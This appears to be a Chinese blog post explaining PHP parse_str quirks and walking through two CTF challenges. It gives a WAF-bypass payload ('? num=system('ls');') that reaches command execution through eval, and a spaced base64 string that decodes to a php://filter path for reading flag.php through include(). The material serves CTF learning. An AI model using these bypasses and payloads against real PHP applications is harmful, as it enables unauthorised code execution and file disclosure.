Posted on 

php字符串解析trick

php字符串解析trick

parse_str

将字符串解析成多个变量

parse_str( string $encoded_string[, array &$result] ) : void

主要作用直接放例子(这里乱起的名字)

1
2
3
4
5
6
7
8
9
10
11
$str = "id=noname";
parse_str($str, $output);
print_r($output);//Array ( [id] => noname )

$str = "id num=noname";
parse_str($str, $output);
print_r($output);// Array ( [id_num] => noname )

$str = "id%5bnum=noname";
parse_str($str, $output);
print_r($output);// Array ( [id_num] => noname )

所以可以看出,经过parse_str的处理,会先将空格去除后,再将特殊符号替代成_

可以跑脚本fuzz一下还有哪些替代

例题

[RoarCTF 2019]Easy Calc

只看重要的waf代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

这里会检查num中有没有黑名单中的元素,可以在num前加个空格,即?%20num=,经过php的处理,%20numnum是不一样的变量,就可以绕过这层waf

payload:

1
? num=system('ls');

[nuaactf2021]base64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);

function is_ok($c)
{
if (preg_match('/[0-9a-zA-Z]{2}/',$c) === 1) //不能连续两个字母或数字
{
die("Get out of my site!");
}
return 1;
}

if (isset($_POST['p']) )
{
$p = $_POST['p'];
if (is_ok($p) === 1)
{
$pp = trim(base64_decode($p));
@include($pp);
}
}

highlight_file(__FILE__);

?>

这里就是利用base64_decode忽略空格

可以利用include读取文件,post传一个php://filter/read=convert.base64-encode/resource=flag.php的base64码

1
p=c G h w O i 8 v Z m l s d G V y L 3 J l Y W Q 9 Y 2 9 u d m V y d C 5 i Y X N l N j Q t Z W 5 j b 2 R l L 3 J l c 2 9 1 c m N l P W Z s Y W c u c G h w

Another trick

// 留坑

Reference

https://moonback1314.gitee.io/2020/01/17/PHP%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%A7%A3%E6%9E%90%E7%89%B9%E6%80%A7/